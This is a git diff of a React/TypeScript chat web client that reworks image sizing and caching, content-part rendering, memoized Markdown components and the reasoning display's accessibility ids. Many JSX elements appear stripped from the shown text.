import { BookCopy } from 'lucide-react';
import { Content, Portal, Root, Trigger } from '@radix-ui/react-popover';
@@ -14,7 +13,7 @@ import {
import type { FC } from 'react';
import { EditPresetDialog, PresetItems } from './Presets';
import { useLocalize, usePresets } from '~/hooks';
-import store from '~/store';
+import { useChatContext } from '~/Providers';
const PresetsMenu: FC = () => {
const localize = useLocalize();
@@ -34,7 +33,7 @@ const PresetsMenu: FC = () => {
presetToDelete,
confirmDeletePreset,
} = usePresets();
- const preset = useRecoilValue(store.presetByIndex(0));
+ const { preset } = useChatContext();
const handleDeleteDialogChange = (open: boolean) => {
setShowDeleteDialog(open);
diff --git a/client/src/components/Chat/Messages/Content/ContentParts.tsx b/client/src/components/Chat/Messages/Content/ContentParts.tsx
index 4b431d7a98..42ce8b8f14 100644
--- a/client/src/components/Chat/Messages/Content/ContentParts.tsx
+++ b/client/src/components/Chat/Messages/Content/ContentParts.tsx
@@ -15,61 +15,6 @@ import Sources from '~/components/Web/Sources';
import Container from './Container';
import Part from './Part';
-type PartWithContextProps = {
- part: TMessageContentParts;
- idx: number;
- isLastPart: boolean;
- messageId: string;
- conversationId?: string | null;
- nextType?: string;
- isSubmitting: boolean;
- isLatestMessage?: boolean;
- isCreatedByUser: boolean;
- isLast: boolean;
- partAttachments: TAttachment[] | undefined;
-};
-
-const PartWithContext = memo(function PartWithContext({
- part,
- idx,
- isLastPart,
- messageId,
- conversationId,
- nextType,
- isSubmitting,
- isLatestMessage,
- isCreatedByUser,
- isLast,
- partAttachments,
-}: PartWithContextProps) {
- const contextValue = useMemo(
- () => ({
- messageId,
- isExpanded: true as const,
- conversationId,
- partIndex: idx,
- nextType,
- isSubmitting,
- isLatestMessage,
- }),
- [messageId, conversationId, idx, nextType, isSubmitting, isLatestMessage],
- );
-
- return (
-
-
-
- );
-});
-
type ContentPartsProps = {
content: Array | undefined;
messageId: string;
@@ -113,24 +58,37 @@ const ContentParts = memo(function ContentParts({
const attachmentMap = useMemo(() => mapAttachments(attachments ?? []), [attachments]);
const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+ /**
+ * Render a single content part with proper context.
+ */
const renderPart = useCallback(
(part: TMessageContentParts, idx: number, isLastPart: boolean) => {
const toolCallId = (part?.[ContentTypes.TOOL_CALL] as Agents.ToolCall | undefined)?.id ?? '';
+ const partAttachments = attachmentMap[toolCallId];
+
return (
-
+ value={{
+ messageId,
+ isExpanded: true,
+ conversationId,
+ partIndex: idx,
+ nextType: content?.[idx + 1]?.type,
+ isSubmitting: effectiveIsSubmitting,
+ isLatestMessage,
+ }}
+ >
+
+
);
},
[
diff --git a/client/src/components/Chat/Messages/Content/DialogImage.tsx b/client/src/components/Chat/Messages/Content/DialogImage.tsx
index b9cbe64555..cb496de646 100644
--- a/client/src/components/Chat/Messages/Content/DialogImage.tsx
+++ b/client/src/components/Chat/Messages/Content/DialogImage.tsx
@@ -4,8 +4,6 @@ import { Button, TooltipAnchor } from '@librechat/client';
import { X, ArrowDownToLine, PanelLeftOpen, PanelLeftClose, RotateCcw } from 'lucide-react';
import { useLocalize } from '~/hooks';
-const imageSizeCache = new Map();
-
const getQualityStyles = (quality: string): string => {
if (quality === 'high') {
return 'bg-green-100 text-green-800';
@@ -52,26 +50,18 @@ export default function DialogImage({
const closeButtonRef = useRef(null);
const getImageSize = useCallback(async (url: string) => {
- const cached = imageSizeCache.get(url);
- if (cached) {
- return cached;
- }
try {
const response = await fetch(url, { method: 'HEAD' });
const contentLength = response.headers.get('Content-Length');
if (contentLength) {
const bytes = parseInt(contentLength, 10);
- const result = formatFileSize(bytes);
- imageSizeCache.set(url, result);
- return result;
+ return formatFileSize(bytes);
}
const fullResponse = await fetch(url);
const blob = await fullResponse.blob();
- const result = formatFileSize(blob.size);
- imageSizeCache.set(url, result);
- return result;
+ return formatFileSize(blob.size);
} catch (error) {
console.error('Error getting image size:', error);
return null;
@@ -365,7 +355,6 @@ export default function DialogImage({
ref={imageRef}
src={src}
alt="Image"
- decoding="async"
className="block max-h-[85vh] object-contain"
style={{
maxWidth: getImageMaxWidth(),
diff --git a/client/src/components/Chat/Messages/Content/Files.tsx b/client/src/components/Chat/Messages/Content/Files.tsx
index 504e48e883..8997d5e822 100644
--- a/client/src/components/Chat/Messages/Content/Files.tsx
+++ b/client/src/components/Chat/Messages/Content/Files.tsx
@@ -1,7 +1,6 @@
import { useMemo, memo } from 'react';
import type { TFile, TMessage } from 'librechat-data-provider';
import FileContainer from '~/components/Chat/Input/Files/FileContainer';
-import { getCachedPreview } from '~/utils';
import Image from './Image';
const Files = ({ message }: { message?: TMessage }) => {
@@ -18,18 +17,21 @@ const Files = ({ message }: { message?: TMessage }) => {
{otherFiles.length > 0 &&
otherFiles.map((file) => )}
{imageFiles.length > 0 &&
- imageFiles.map((file) => {
- const cached = file.file_id ? getCachedPreview(file.file_id) : undefined;
- return (
-
- );
- })}
+ imageFiles.map((file) => (
+
+ ))}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Image.tsx b/client/src/components/Chat/Messages/Content/Image.tsx
index 7e3e12e65b..cd72733298 100644
--- a/client/src/components/Chat/Messages/Content/Image.tsx
+++ b/client/src/components/Chat/Messages/Content/Image.tsx
@@ -1,39 +1,27 @@
-import React, { useState, useRef, useMemo, useEffect } from 'react';
+import React, { useState, useRef, useMemo } from 'react';
import { Skeleton } from '@librechat/client';
+import { LazyLoadImage } from 'react-lazy-load-image-component';
import { apiBaseUrl } from 'librechat-data-provider';
+import { cn, scaleImage } from '~/utils';
import DialogImage from './DialogImage';
-import { cn } from '~/utils';
-
-/** Max display height for chat images (Tailwind JIT class) */
-export const IMAGE_MAX_H = 'max-h-[45vh]' as const;
-/** Matches the `max-w-lg` Tailwind class on the wrapper button (32rem = 512px at 16px base) */
-const IMAGE_MAX_W_PX = 512;
-
-/** Caches image dimensions by src so remounts can reserve space */
-const dimensionCache = new Map();
-/** Tracks URLs that have been fully painted — skip skeleton on remount */
-const paintedUrls = new Set();
-
-/** Test-only: resets module-level caches */
-export function _resetImageCaches(): void {
- dimensionCache.clear();
- paintedUrls.clear();
-}
-
-function computeHeightStyle(w: number, h: number): React.CSSProperties {
- return { height: `min(45vh, ${(h / w) * 100}vw, ${(h / w) * IMAGE_MAX_W_PX}px)` };
-}
const Image = ({
imagePath,
altText,
+ height,
+ width,
+ placeholderDimensions,
className,
args,
- width,
- height,
}: {
imagePath: string;
altText: string;
+ height: number;
+ width: number;
+ placeholderDimensions?: {
+ height?: string;
+ width?: string;
+ };
className?: string;
args?: {
prompt?: string;
@@ -42,15 +30,19 @@ const Image = ({
style?: string;
[key: string]: unknown;
};
- width?: number;
- height?: number;
}) => {
const [isOpen, setIsOpen] = useState(false);
+ const [isLoaded, setIsLoaded] = useState(false);
+ const containerRef = useRef(null);
const triggerRef = useRef(null);
+ const handleImageLoad = () => setIsLoaded(true);
+
+ // Fix image path to include base path for subdirectory deployments
const absoluteImageUrl = useMemo(() => {
if (!imagePath) return imagePath;
+ // If it's already an absolute URL or doesn't start with /images/, return as is
if (
imagePath.startsWith('http') ||
imagePath.startsWith('data:') ||
@@ -59,10 +51,21 @@ const Image = ({
return imagePath;
}
+ // Get the base URL and prepend it to the image path
const baseURL = apiBaseUrl();
return `${baseURL}${imagePath}`;
}, [imagePath]);
+ const { width: scaledWidth, height: scaledHeight } = useMemo(
+ () =>
+ scaleImage({
+ originalWidth: Number(placeholderDimensions?.width?.split('px')[0] ?? width),
+ originalHeight: Number(placeholderDimensions?.height?.split('px')[0] ?? height),
+ containerRef,
+ }),
+ [placeholderDimensions, height, width],
+ );
+
const downloadImage = async () => {
try {
const response = await fetch(absoluteImageUrl);
@@ -92,19 +95,8 @@ const Image = ({
}
};
- useEffect(() => {
- if (width && height && absoluteImageUrl) {
- dimensionCache.set(absoluteImageUrl, { width, height });
- }
- }, [absoluteImageUrl, width, height]);
-
- const dims = width && height ? { width, height } : dimensionCache.get(absoluteImageUrl);
- const hasDimensions = !!(dims?.width && dims?.height);
- const heightStyle = hasDimensions ? computeHeightStyle(dims.width, dims.height) : undefined;
- const showSkeleton = hasDimensions && !paintedUrls.has(absoluteImageUrl);
-
return (
-
+
setIsOpen(true)}
className={cn(
- 'relative mt-1 w-full max-w-lg cursor-pointer overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
+ 'relative mt-1 flex h-auto w-full max-w-lg cursor-pointer items-center justify-center overflow-hidden rounded-lg border border-border-light text-text-secondary-alt shadow-md transition-shadow',
'focus:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-surface-primary',
className,
)}
- style={heightStyle}
>
- {showSkeleton && }
- paintedUrls.add(absoluteImageUrl)}
+ onLoad={handleImageLoad}
+ visibleByDefault={true}
className={cn(
- 'relative block text-transparent',
- hasDimensions
- ? 'size-full object-contain'
- : cn('h-auto w-auto max-w-full', IMAGE_MAX_H),
+ 'opacity-100 transition-opacity duration-100',
+ isLoaded ? 'opacity-100' : 'opacity-0',
)}
+ src={absoluteImageUrl}
+ style={{
+ width: `${scaledWidth}`,
+ height: 'auto',
+ color: 'transparent',
+ display: 'block',
+ }}
+ placeholder={
+
+ }
/>
-
+ {isLoaded && (
+
+ )}
);
};
diff --git a/client/src/components/Chat/Messages/Content/Markdown.tsx b/client/src/components/Chat/Messages/Content/Markdown.tsx
index 1217869a2c..a763885d2f 100644
--- a/client/src/components/Chat/Messages/Content/Markdown.tsx
+++ b/client/src/components/Chat/Messages/Content/Markdown.tsx
@@ -27,7 +27,7 @@ type TContentProps = {
isLatestMessage: boolean;
};
-const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TContentProps) {
+const Markdown = memo(({ content = '', isLatestMessage }: TContentProps) => {
const LaTeXParsing = useRecoilValue
(store.LaTeXParsing);
const isInitializing = content === '';
@@ -106,6 +106,5 @@ const Markdown = memo(function Markdown({ content = '', isLatestMessage }: TCont
);
});
-Markdown.displayName = 'Markdown';
export default Markdown;
diff --git a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
index 1c5369955d..d647147151 100644
--- a/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
+++ b/client/src/components/Chat/Messages/Content/MarkdownComponents.tsx
@@ -18,10 +18,7 @@ type TCodeProps = {
children: React.ReactNode;
};
-export const code: React.ElementType = memo(function MarkdownCode({
- className,
- children,
-}: TCodeProps) {
+export const code: React.ElementType = memo(({ className, children }: TCodeProps) => {
const canRunCode = useHasAccess({
permissionType: PermissionTypes.RUN_CODE,
permission: Permissions.USE,
@@ -65,12 +62,8 @@ export const code: React.ElementType = memo(function MarkdownCode({
);
}
});
-code.displayName = 'MarkdownCode';
-export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoExecution({
- className,
- children,
-}: TCodeProps) {
+export const codeNoExecution: React.ElementType = memo(({ className, children }: TCodeProps) => {
const match = /language-(\w+)/.exec(className ?? '');
const lang = match && match[1];
@@ -89,14 +82,13 @@ export const codeNoExecution: React.ElementType = memo(function MarkdownCodeNoEx
return ;
}
});
-codeNoExecution.displayName = 'MarkdownCodeNoExecution';
type TAnchorProps = {
href: string;
children: React.ReactNode;
};
-export const a: React.ElementType = memo(function MarkdownAnchor({ href, children }: TAnchorProps) {
+export const a: React.ElementType = memo(({ href, children }: TAnchorProps) => {
const user = useRecoilValue(store.user);
const { showToast } = useToastContext();
const localize = useLocalize();
@@ -171,16 +163,14 @@ export const a: React.ElementType = memo(function MarkdownAnchor({ href, childre
);
});
-a.displayName = 'MarkdownAnchor';
type TParagraphProps = {
children: React.ReactNode;
};
-export const p: React.ElementType = memo(function MarkdownParagraph({ children }: TParagraphProps) {
+export const p: React.ElementType = memo(({ children }: TParagraphProps) => {
return {children}
;
});
-p.displayName = 'MarkdownParagraph';
type TImageProps = {
src?: string;
@@ -190,13 +180,7 @@ type TImageProps = {
style?: React.CSSProperties;
};
-export const img: React.ElementType = memo(function MarkdownImage({
- src,
- alt,
- title,
- className,
- style,
-}: TImageProps) {
+export const img: React.ElementType = memo(({ src, alt, title, className, style }: TImageProps) => {
// Get the base URL from the API endpoints
const baseURL = apiBaseUrl();
@@ -215,4 +199,3 @@ export const img: React.ElementType = memo(function MarkdownImage({
return ;
});
-img.displayName = 'MarkdownImage';
diff --git a/client/src/components/Chat/Messages/Content/MessageContent.tsx b/client/src/components/Chat/Messages/Content/MessageContent.tsx
index 0e2e7faa2c..7a823a07e9 100644
--- a/client/src/components/Chat/Messages/Content/MessageContent.tsx
+++ b/client/src/components/Chat/Messages/Content/MessageContent.tsx
@@ -185,7 +185,4 @@ const MessageContent = ({
);
};
-const MemoizedMessageContent = memo(MessageContent);
-MemoizedMessageContent.displayName = 'MessageContent';
-
-export default MemoizedMessageContent;
+export default memo(MessageContent);
diff --git a/client/src/components/Chat/Messages/Content/Part.tsx b/client/src/components/Chat/Messages/Content/Part.tsx
index 7bce7ac11d..f97d1343b9 100644
--- a/client/src/components/Chat/Messages/Content/Part.tsx
+++ b/client/src/components/Chat/Messages/Content/Part.tsx
@@ -11,7 +11,6 @@ import type { TMessageContentParts, TAttachment } from 'librechat-data-provider'
import { OpenAIImageGen, EmptyText, Reasoning, ExecuteCode, AgentUpdate, Text } from './Parts';
import { ErrorMessage } from './MessageContent';
import RetrievalCall from './RetrievalCall';
-import { getCachedPreview } from '~/utils';
import AgentHandoff from './AgentHandoff';
import CodeAnalyze from './CodeAnalyze';
import Container from './Container';
@@ -29,213 +28,212 @@ type PartProps = {
attachments?: TAttachment[];
};
-const Part = memo(function Part({
- part,
- isSubmitting,
- attachments,
- isLast,
- showCursor,
- isCreatedByUser,
-}: PartProps) {
- if (!part) {
- return null;
- }
-
- if (part.type === ContentTypes.ERROR) {
- return (
-
- );
- } else if (part.type === ContentTypes.AGENT_UPDATE) {
- return (
- <>
-
- {isLast && showCursor && (
-
-
-
- )}
- >
- );
- } else if (part.type === ContentTypes.TEXT) {
- const text = typeof part.text === 'string' ? part.text : part.text?.value;
-
- if (typeof text !== 'string') {
+const Part = memo(
+ ({ part, isSubmitting, attachments, isLast, showCursor, isCreatedByUser }: PartProps) => {
+ if (!part) {
return null;
}
- if (part.tool_call_ids != null && !text) {
- return null;
- }
- /** Handle whitespace-only text to avoid layout shift */
- if (text.length > 0 && /^\s*$/.test(text)) {
- /** Show placeholder for whitespace-only last part during streaming */
- if (isLast && showCursor) {
- return (
-
-
-
- );
- }
- /** Skip rendering non-last whitespace-only parts to avoid empty Container */
- if (!isLast) {
+
+ if (part.type === ContentTypes.ERROR) {
+ return (
+
+ );
+ } else if (part.type === ContentTypes.AGENT_UPDATE) {
+ return (
+ <>
+
+ {isLast && showCursor && (
+
+
+
+ )}
+ >
+ );
+ } else if (part.type === ContentTypes.TEXT) {
+ const text = typeof part.text === 'string' ? part.text : part.text?.value;
+
+ if (typeof text !== 'string') {
return null;
}
- }
- return (
-
-
-
- );
- } else if (part.type === ContentTypes.THINK) {
- const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
- if (typeof reasoning !== 'string') {
- return null;
- }
- return ;
- } else if (part.type === ContentTypes.TOOL_CALL) {
- const toolCall = part[ContentTypes.TOOL_CALL];
-
- if (!toolCall) {
- return null;
- }
-
- const isToolCall =
- 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
- if (
- isToolCall &&
- (toolCall.name === Tools.execute_code ||
- toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
- ) {
- return (
-
- );
- } else if (
- isToolCall &&
- (toolCall.name === 'image_gen_oai' ||
- toolCall.name === 'image_edit_oai' ||
- toolCall.name === 'gemini_image_gen')
- ) {
- return (
-
- );
- } else if (isToolCall && toolCall.name === Tools.web_search) {
- return (
-
- );
- } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
- return (
-
- );
- } else if (isToolCall) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
- const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.RETRIEVAL ||
- toolCall.type === ToolCallTypes.FILE_SEARCH
- ) {
- return (
-
- );
- } else if (
- toolCall.type === ToolCallTypes.FUNCTION &&
- ToolCallTypes.FUNCTION in toolCall &&
- imageGenTools.has(toolCall.function.name)
- ) {
- return (
-
- );
- } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
- if (isImageVisionTool(toolCall)) {
- if (isSubmitting && showCursor) {
+ if (part.tool_call_ids != null && !text) {
+ return null;
+ }
+ /** Handle whitespace-only text to avoid layout shift */
+ if (text.length > 0 && /^\s*$/.test(text)) {
+ /** Show placeholder for whitespace-only last part during streaming */
+ if (isLast && showCursor) {
return (
-
+
);
}
+ /** Skip rendering non-last whitespace-only parts to avoid empty Container */
+ if (!isLast) {
+ return null;
+ }
+ }
+ return (
+
+
+
+ );
+ } else if (part.type === ContentTypes.THINK) {
+ const reasoning = typeof part.think === 'string' ? part.think : part.think?.value;
+ if (typeof reasoning !== 'string') {
+ return null;
+ }
+ return ;
+ } else if (part.type === ContentTypes.TOOL_CALL) {
+ const toolCall = part[ContentTypes.TOOL_CALL];
+
+ if (!toolCall) {
return null;
}
+ const isToolCall =
+ 'args' in toolCall && (!toolCall.type || toolCall.type === ToolCallTypes.TOOL_CALL);
+ if (
+ isToolCall &&
+ (toolCall.name === Tools.execute_code ||
+ toolCall.name === Constants.PROGRAMMATIC_TOOL_CALLING)
+ ) {
+ return (
+
+ );
+ } else if (
+ isToolCall &&
+ (toolCall.name === 'image_gen_oai' ||
+ toolCall.name === 'image_edit_oai' ||
+ toolCall.name === 'gemini_image_gen')
+ ) {
+ return (
+
+ );
+ } else if (isToolCall && toolCall.name === Tools.web_search) {
+ return (
+
+ );
+ } else if (isToolCall && toolCall.name?.startsWith(Constants.LC_TRANSFER_TO_)) {
+ return (
+
+ );
+ } else if (isToolCall) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.CODE_INTERPRETER) {
+ const code_interpreter = toolCall[ToolCallTypes.CODE_INTERPRETER];
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.RETRIEVAL ||
+ toolCall.type === ToolCallTypes.FILE_SEARCH
+ ) {
+ return (
+
+ );
+ } else if (
+ toolCall.type === ToolCallTypes.FUNCTION &&
+ ToolCallTypes.FUNCTION in toolCall &&
+ imageGenTools.has(toolCall.function.name)
+ ) {
+ return (
+
+ );
+ } else if (toolCall.type === ToolCallTypes.FUNCTION && ToolCallTypes.FUNCTION in toolCall) {
+ if (isImageVisionTool(toolCall)) {
+ if (isSubmitting && showCursor) {
+ return (
+
+
+
+ );
+ }
+ return null;
+ }
+
+ return (
+
+ );
+ }
+ } else if (part.type === ContentTypes.IMAGE_FILE) {
+ const imageFile = part[ContentTypes.IMAGE_FILE];
+ const height = imageFile.height ?? 1920;
+ const width = imageFile.width ?? 1080;
return (
-
);
}
- } else if (part.type === ContentTypes.IMAGE_FILE) {
- const imageFile = part[ContentTypes.IMAGE_FILE];
- const cached = imageFile.file_id ? getCachedPreview(imageFile.file_id) : undefined;
- return (
-
- );
- }
- return null;
-});
-Part.displayName = 'Part';
+ return null;
+ },
+);
export default Part;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
index 31e30772dc..b5d1e07cbf 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Attachment.tsx
@@ -76,8 +76,8 @@ const ImageAttachment = memo(({ attachment }: { attachment: TAttachment }) => {
diff --git a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
index 409461a058..1b514164df 100644
--- a/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/EmptyText.tsx
@@ -1,9 +1,8 @@
import { memo } from 'react';
-/** Streaming cursor placeholder — no bottom margin to match Container's structure and prevent CLS */
const EmptyTextPart = memo(() => {
return (
-
+
diff --git a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
index a675ff06d8..da2a8f175e 100644
--- a/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/LogContent.tsx
@@ -12,7 +12,11 @@ interface LogContentProps {
attachments?: TAttachment[];
}
-type ImageAttachment = TFile & TAttachmentMetadata;
+type ImageAttachment = TFile &
+ TAttachmentMetadata & {
+ height: number;
+ width: number;
+ };
const LogContent: React.FC = ({ output = '', renderImages, attachments }) => {
const localize = useLocalize();
@@ -31,8 +35,12 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
const nonImageAtts: TAttachment[] = [];
attachments?.forEach((attachment) => {
- const { filepath = null } = attachment as TFile & TAttachmentMetadata;
- const isImage = imageExtRegex.test(attachment.filename ?? '') && filepath != null;
+ const { width, height, filepath = null } = attachment as TFile & TAttachmentMetadata;
+ const isImage =
+ imageExtRegex.test(attachment.filename ?? '') &&
+ width != null &&
+ height != null &&
+ filepath != null;
if (isImage) {
imageAtts.push(attachment as ImageAttachment);
} else {
@@ -92,15 +100,18 @@ const LogContent: React.FC = ({ output = '', renderImages, atta
))}
)}
- {imageAttachments?.map((attachment) => (
-
- ))}
+ {imageAttachments?.map((attachment, index) => {
+ const { width, height, filepath } = attachment;
+ return (
+
+ );
+ })}
>
);
};
diff --git a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
index bdce6d3209..aa1b07827b 100644
--- a/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/OpenAIImageGen/OpenAIImageGen.tsx
@@ -1,12 +1,9 @@
-import { useState, useEffect, useRef } from 'react';
+import { useState, useEffect, useRef, useCallback } from 'react';
import { PixelCard } from '@librechat/client';
import type { TAttachment, TFile, TAttachmentMetadata } from 'librechat-data-provider';
import Image from '~/components/Chat/Messages/Content/Image';
import ProgressText from './ProgressText';
-import { cn } from '~/utils';
-
-const IMAGE_MAX_H = 'max-h-[45vh]' as const;
-const IMAGE_FULL_H = 'h-[45vh]' as const;
+import { scaleImage } from '~/utils';
export default function OpenAIImageGen({
initialProgress = 0.1,
@@ -31,6 +28,8 @@ export default function OpenAIImageGen({
const cancelled = (!isSubmitting && initialProgress < 1) || error === true;
+ let width: number | undefined;
+ let height: number | undefined;
let quality: 'low' | 'medium' | 'high' = 'high';
// Parse args if it's a string
@@ -42,21 +41,62 @@ export default function OpenAIImageGen({
parsedArgs = {};
}
- if (parsedArgs && typeof parsedArgs.quality === 'string') {
- const q = parsedArgs.quality.toLowerCase();
- if (q === 'low' || q === 'medium' || q === 'high') {
- quality = q;
+ try {
+ const argsObj = parsedArgs;
+
+ if (argsObj && typeof argsObj.size === 'string') {
+ const [w, h] = argsObj.size.split('x').map((v: string) => parseInt(v, 10));
+ if (!isNaN(w) && !isNaN(h)) {
+ width = w;
+ height = h;
+ }
+ } else if (argsObj && (typeof argsObj.size !== 'string' || !argsObj.size)) {
+ width = undefined;
+ height = undefined;
}
+
+ if (argsObj && typeof argsObj.quality === 'string') {
+ const q = argsObj.quality.toLowerCase();
+ if (q === 'low' || q === 'medium' || q === 'high') {
+ quality = q;
+ }
+ }
+ } catch (e) {
+ width = undefined;
+ height = undefined;
}
+ // Default to 1024x1024 if width and height are still undefined after parsing args and attachment metadata
const attachment = attachments?.[0];
const {
+ width: imageWidth,
+ height: imageHeight,
filepath = null,
filename = '',
- width: imgWidth,
- height: imgHeight,
} = (attachment as TFile & TAttachmentMetadata) || {};
+ let origWidth = width ?? imageWidth;
+ let origHeight = height ?? imageHeight;
+
+ if (origWidth === undefined || origHeight === undefined) {
+ origWidth = 1024;
+ origHeight = 1024;
+ }
+
+ const [dimensions, setDimensions] = useState({ width: 'auto', height: 'auto' });
+ const containerRef = useRef
(null);
+
+ const updateDimensions = useCallback(() => {
+ if (origWidth && origHeight && containerRef.current) {
+ const scaled = scaleImage({
+ originalWidth: origWidth,
+ originalHeight: origHeight,
+ containerRef,
+ });
+ setDimensions(scaled);
+ }
+ }, [origWidth, origHeight]);
+
useEffect(() => {
if (isSubmitting) {
setProgress(initialProgress);
@@ -116,21 +156,45 @@ export default function OpenAIImageGen({
}
}, [initialProgress, cancelled]);
+ useEffect(() => {
+ updateDimensions();
+
+ const resizeObserver = new ResizeObserver(() => {
+ updateDimensions();
+ });
+
+ if (containerRef.current) {
+ resizeObserver.observe(containerRef.current);
+ }
+
+ return () => {
+ resizeObserver.disconnect();
+ };
+ }, [updateDimensions]);
+
return (
<>
-
-
- {progress < 1 &&
}
+
+
+ {dimensions.width !== 'auto' && progress < 1 && (
+
+ )}
diff --git a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
index 44d646fcd8..85d1b00b4b 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
@@ -1,4 +1,4 @@
-import { memo, useMemo, useState, useCallback, useRef, useId } from 'react';
+import { memo, useMemo, useState, useCallback, useRef } from 'react';
import { useAtom } from 'jotai';
import type { MouseEvent, FocusEvent } from 'react';
import { ContentTypes } from 'librechat-data-provider';
@@ -36,7 +36,6 @@ type ReasoningProps = {
* For legacy text-based messages, see Thinking.tsx component.
*/
const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
- const contentId = useId();
const localize = useLocalize();
const [showThinking] = useAtom(showThinkingAtom);
const [isExpanded, setIsExpanded] = useState(showThinking);
@@ -105,14 +104,9 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
onClick={handleClick}
label={label}
content={reasoningText}
- contentId={contentId}
/>
{
isExpanded={isExpanded}
onClick={handleClick}
content={reasoningText}
- contentId={contentId}
/>
diff --git a/client/src/components/Chat/Messages/Content/Parts/Text.tsx b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
index aec8d949e0..c926622c9d 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Text.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
@@ -17,7 +17,7 @@ type ContentType =
| ReactElement>
| ReactElement;
-const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
+const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => {
const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
@@ -46,6 +46,5 @@ const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: T
);
});
-TextPart.displayName = 'TextPart';
export default TextPart;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
index 7641738c15..0c5992f4ab 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
@@ -1,4 +1,4 @@
-import { useState, useMemo, memo, useCallback, useRef, useId, type MouseEvent } from 'react';
+import { useState, useMemo, memo, useCallback, useRef, type MouseEvent } from 'react';
import { useAtomValue } from 'jotai';
import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
import { Lightbulb, ChevronDown, ChevronUp } from 'lucide-react';
@@ -35,14 +35,12 @@ export const ThinkingButton = memo(
onClick,
label,
content,
- contentId,
showCopyButton = true,
}: {
isExpanded: boolean;
onClick: (e: MouseEvent
) => void;
label: string;
content?: string;
- contentId: string;
showCopyButton?: boolean;
}) => {
const localize = useLocalize();
@@ -68,7 +66,6 @@ export const ThinkingButton = memo(
type="button"
onClick={onClick}
aria-expanded={isExpanded}
- aria-controls={contentId}
className={cn(
'group/button flex flex-1 items-center justify-start rounded-lg leading-[18px]',
fontSize,
@@ -135,13 +132,11 @@ export const FloatingThinkingBar = memo(
isExpanded,
onClick,
content,
- contentId,
}: {
isVisible: boolean;
isExpanded: boolean;
onClick: (e: MouseEvent) => void;
content?: string;
- contentId: string;
}) => {
const localize = useLocalize();
const [isCopied, setIsCopied] = useState(false);
@@ -181,8 +176,6 @@ export const FloatingThinkingBar = memo(
tabIndex={isVisible ? 0 : -1}
onClick={onClick}
aria-label={collapseTooltip}
- aria-expanded={isExpanded}
- aria-controls={contentId}
className={cn(
'flex items-center justify-center rounded-lg bg-surface-secondary p-1.5 text-text-secondary-alt shadow-sm',
'hover:bg-surface-hover hover:text-text-primary',
@@ -247,7 +240,6 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
const [isExpanded, setIsExpanded] = useState(showThinking);
const [isBarVisible, setIsBarVisible] = useState(false);
const containerRef = useRef(null);
- const contentId = useId();
const handleClick = useCallback((e: MouseEvent) => {
e.preventDefault();
@@ -303,14 +295,9 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
onClick={handleClick}
label={label}
content={textContent}
- contentId={contentId}
/>
@@ -336,4 +322,4 @@ ThinkingContent.displayName = 'ThinkingContent';
FloatingThinkingBar.displayName = 'FloatingThinkingBar';
Thinking.displayName = 'Thinking';
-export default Thinking;
+export default memo(Thinking);
